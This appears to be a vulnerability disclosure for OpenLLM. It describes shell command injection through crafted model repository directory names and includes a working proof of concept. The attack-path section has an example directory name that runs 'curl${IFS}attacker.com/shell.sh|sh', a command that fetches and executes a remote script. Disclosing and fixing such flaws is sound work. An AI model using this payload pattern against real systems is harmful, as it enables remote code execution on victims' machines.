[Security] Shell command injection via malicious model repository directory names
Describe the bug
Summary
OpenLLM uses asyncio.create_subprocess_shell to launch model servers, constructing the shell command by joining a Python list into a single string with ' '.join(...). Model version and name identifiers are taken directly from directory names in a cloned model repository without any sanitization. An attacker who controls a model repository can name a directory to contain shell metacharacters (for example ;, $(), `), causing arbitrary commands to execute on the victim's machine when the victim runs openllm run or openllm serve using the attacker-controlled repository.
Details
The root cause is in src/openllm/common.py at the async_run_command function (lines 425-431):
proc = await asyncio.create_subprocess_shell(
' '.join(map(str, cmd)),
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
cwd=cwd,
env=env,
)The cmd list is joined into a single string and handed to a shell interpreter. Any shell metacharacters present in the joined string are evaluated by the shell.
The cmd list is built in src/openllm/local.py at _get_serve_cmd (lines 31-44):
def _get_serve_cmd(bento, port=3000, cli_args=None):
cmd = ['bentoml', 'serve', bento.bentoml_tag]
if port != 3000:
cmd += ['--port', str(port)]
if cli_args:
for arg in cli_args:
cmd += ['--arg', arg]
return cmd, EnvVars(...)bento.bentoml_tag is defined in src/openllm/common.py (line 179):
@property
def bentoml_tag(self) -> str:
return f'{self.path.parent.name}:{self.path.name}'self.path is a pathlib.Path pointing to the directory of the model version inside the cloned repository. self.path.parent.name is the model name directory and self.path.name is the version directory. Neither is sanitized or quoted before being inserted into the list that is subsequently joined for the shell.
The contrast with safe usage is visible in the same function: the shlex.quote call at line 405 is used only for cosmetic display output, not for the actual subprocess invocation:
output(f'$ export {k}={shlex.quote(v)}', style='orange') # display only -- not the real commandThe synchronous run_command function (also in common.py) uses subprocess.run(cmd, ...) with a list (no shell=True), so it is not vulnerable. Only async_run_command, called exclusively from the openllm run path, is affected.
To reproduce
Attack path
- Attacker publishes a public git repository (as required by OpenLLM's documented custom repo feature) containing a model directory named with shell metacharacters, for example:
bentoml/bentos/evilmodel/1.0;curl${IFS}attacker.com/shell.sh|sh;echo/bento.yaml. - Victim adds the repository:
openllm repo add attacker https://github.com/attacker/evil-models - OpenLLM clones the repository.
- Victim runs:
openllm run evilmodel list_bentodiscovers the directory and constructs aBentoInfowith the malicious directory name as the version component ofbentoml_tag._run_modelcallsasync_run_commandwith a cmd list containingevilmodel:1.0;curl${IFS}attacker.com/shell.sh|sh;echo.' '.join(cmd)produces a shell string with an embedded;, splitting into multiple shell commands.- The shell executes the attacker's payload.
Note: because filesystem path components cannot contain /, payloads using absolute paths must be constructed using shell variables ($HOME, $PWD) or indirect redirection. The proof-of-concept uses a relative path and a double-semicolon terminator to isolate the injected command from trailing arguments appended by OpenLLM.
PoC
Prerequisites: a Linux or macOS machine with OpenLLM installed, Python 3.9+.
Step 1. Create the malicious repository structure locally (in a real attack this would be a hosted git repo):
import os
REPO_PATH = '/tmp/evil_openllm_repo'
malicious_version = '1.0;whoami>pwned;echo'
version_dir = os.path.join(REPO_PATH, 'bentoml', 'bentos', 'evilmodel', malicious_version)
os.makedirs(version_dir, exist_ok=True)
bento_yaml = (
'name: evilmodel\n'
'version: "1.0"\n'
'labels:\n platforms: linux\n'
'envs: []\n'
'services:\n - name: svc\n config:\n resources:\n gpu: 0\n gpu_type: ""\n'
'schema:\n routes: []\n'
'image:\n python_version: "3.12"\n'
)
with open(os.path.join(version_dir, 'bento.yaml'), 'w') as f:
f.write(bento_yaml)
req_dir = os.path.join(version_dir, 'env', 'python')
os.makedirs(req_dir, exist_ok=True)
with open(os.path.join(req_dir, 'requirements.txt'), 'w') as f:
f.write('')Step 2. Run openllm using the malicious repository (OPENLLM_TEST_REPO simulates openllm repo add; a real attack uses the normal add+update workflow):
rm -f pwned
cd /tmp
OPENLLM_TEST_REPO=/tmp/evil_openllm_repo openllm run evilmodelStep 3. Observe that id ran and wrote to disk:
$ cat /tmp/pwned
mrrobotExpected output from the OpenLLM CLI confirming the injected tag is executed as a shell command:
Found model evilmodel:1.0;whoami>pwned;echo
$ bentoml serve evilmodel:1.0;whoami>pwned;echo --port 33462
Model server started 550043Live-validated on commit ec2355ce, Python 3.12.3, Ubuntu 24.04.
Logs
Environment
Affected Versions: all versions through commit ec2355ce (latest main as of 2026-06-02) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CWE: CWE-78 -- Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
System information (Optional)
As disclosed via email previously (no acknowledgement received)
Source: bentoml/OpenLLM